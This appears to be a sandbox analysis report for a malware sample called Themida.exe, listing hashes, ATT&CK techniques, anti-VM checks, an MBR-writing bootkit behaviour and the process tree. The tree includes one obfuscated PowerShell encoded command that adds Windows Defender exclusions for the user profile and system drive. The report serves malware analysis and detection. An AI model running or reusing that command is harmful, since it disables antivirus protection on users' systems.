09a320836947fb4e093369d4caea3eb21a0855dee4fd7fa05af83f7baf99ea08

Analysis

max time kernel
145s
max time network
132s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22-08-2024 21:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Themida.exe
Size

36.8MB
MD5

41d891deb3834051b417a0319617de54
SHA1

178ef0abf527be220aea88d3c55bdc6652aafb9b
SHA256

cb0ab86745f249494c39d86b3d712dcea2015699b3da927fd3ad1cd266388a21
SHA512

37bc5794a55d9f7eb5b3e2984a722279a2e1a4898b9d52af31361c4c6c17aeb5fcc83c8462469399ea2cc8d57031394193001670546de6d7592eeb7df962c483
SSDEEP

786432:rY9PYZKKRUk4wJ0hc7v83bsWpeS8gXMHiCu52Otx:rY9Qpxr7v83gKeSfXMCCC7

Score

9^/10

bootkit defense_evasion discovery evasion persistence trojan upx

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Themida64.exe

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Themida64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Themida64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	Themida64.exe

Executes dropped EXE 2 IoCs

pid	Process
3040	Progman.exe
2772	Themida64.exe

Loads dropped DLL 1 IoCs

pid	Process
2772	Themida64.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000d0000000139f6-3.dat	upx
behavioral1/memory/3040-9-0x0000000140000000-0x00000001407A1000-memory.dmp	upx

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Themida64.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Themida64.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2772	Themida64.exe
2772	Themida64.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Progman.exe	Themida.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Themida64.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\Wow6432Node\CLSID\{b7c3410b-45b3-a8e5-a082-d545a584}	Themida64.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\Wow6432Node	Themida64.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\Wow6432Node\CLSID	Themida64.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\Wow6432Node\CLSID\{b7c3410b-45b3-a8e5-a082-d545a584}\SortOrderIndex = 0cb2608413d64033	Themida64.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2812	powershell.exe
2772	Themida64.exe
2772	Themida64.exe
2772	Themida64.exe
2772	Themida64.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2812	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2772	Themida64.exe
2772	Themida64.exe
2772	Themida64.exe
2772	Themida64.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 2812	1356	Themida.exe	30
PID 1356 wrote to memory of 2812	1356	Themida.exe	30
PID 1356 wrote to memory of 2812	1356	Themida.exe	30
PID 1356 wrote to memory of 3040	1356	Themida.exe	32
PID 1356 wrote to memory of 3040	1356	Themida.exe	32
PID 1356 wrote to memory of 3040	1356	Themida.exe	32
PID 1356 wrote to memory of 2772	1356	Themida.exe	33
PID 1356 wrote to memory of 2772	1356	Themida.exe	33
PID 1356 wrote to memory of 2772	1356	Themida.exe	33
PID 1356 wrote to memory of 2772	1356	Themida.exe	33

C:\Users\Admin\AppData\Local\Temp\Themida.exe
"C:\Users\Admin\AppData\Local\Temp\Themida.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAYgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAZABjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaQBjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AbABhACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2812
- C:\Windows\Progman.exe
  "C:\Windows\Progman.exe"
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Users\Admin\AppData\Local\Temp\Themida64.exe
  "C:\Users\Admin\AppData\Local\Temp\Themida64.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Themida64.exe

Filesize
30.5MB

MD5
e0f0db8d1fd2c9a277f8e968977fa684

SHA1
ae23b1e880bfade564e44759d01b965fda1f15d3

SHA256
0486a1c12b05214b01ecf642e4c9c0159a767e507a4472cf8fda68deefe02786

SHA512
347cd8dd2c4c5e9e84d111a8ecec77372e409aaa85c21f2c26ccca013467fad524d34c4ed6bc82386b5fa7eafe83531c0c81d63490b64e972cf68ce0001a1d9c

Download Submit
C:\Windows\Progman.exe

Filesize
6.3MB

MD5
8ec2fd013c3aceee5a693c588eb23aaf

SHA1
7a1694010b5663343b8688a2d2a875c515651b66

SHA256
0e09fbf7d729e95eeb76a8afccf4a7d7b92c68e8eed551b8f4f8edc39e7ba631

SHA512
820f1978c5f26276122c8f5063a9d5cd1ff8420ce3af85fbff22cdff5964fbb0a396cb6af2113f1bea0d82a758183252a1f3fdb0a5a9db15d1b2657138859dde

Download Submit
\Users\Admin\AppData\Local\Temp\41ec407e.dll

Filesize
8KB

MD5
54567e082e0e1987f13a6fe7e3431761

SHA1
b3b3ae53bf362099ef7c593e37a1c8ba40576162

SHA256
17db2ce42b83bb8fe64b29f187d97c88598753c177a8868684f62f9eacf5e244

SHA512
b8608b98616019fbf22b48636e936df1e8a7987d8d56f749df54208bef65267212b7047893043cdc48801b2bff0faaf12c82934d251bf914424a170976e3f1d3

Download Submit
memory/1356-4-0x0000000140000000-0x00000001407A1000-memory.dmp

Filesize
7.6MB

Download
memory/2772-54-0x0000000010000000-0x0000000011000000-memory.dmp

Filesize
16.0MB

Download
memory/2772-59-0x0000000010000000-0x0000000011000000-memory.dmp

Filesize
16.0MB

Download
memory/2772-20-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-22-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-21-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-23-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-24-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-29-0x0000000010000000-0x0000000011000000-memory.dmp

Filesize
16.0MB

Download
memory/2772-72-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-49-0x0000000010000000-0x0000000011000000-memory.dmp

Filesize
16.0MB

Download
memory/2772-50-0x0000000010000000-0x0000000011000000-memory.dmp

Filesize
16.0MB

Download
memory/2772-48-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-71-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-70-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-58-0x0000000010000000-0x0000000011000000-memory.dmp

Filesize
16.0MB

Download
memory/2772-60-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-61-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-62-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-63-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-64-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-65-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-66-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-67-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-68-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2772-69-0x0000000000400000-0x0000000004CA9000-memory.dmp

Filesize
72.7MB

Download
memory/2812-11-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2812-10-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/3040-9-0x0000000140000000-0x00000001407A1000-memory.dmp

Filesize
7.6MB

Download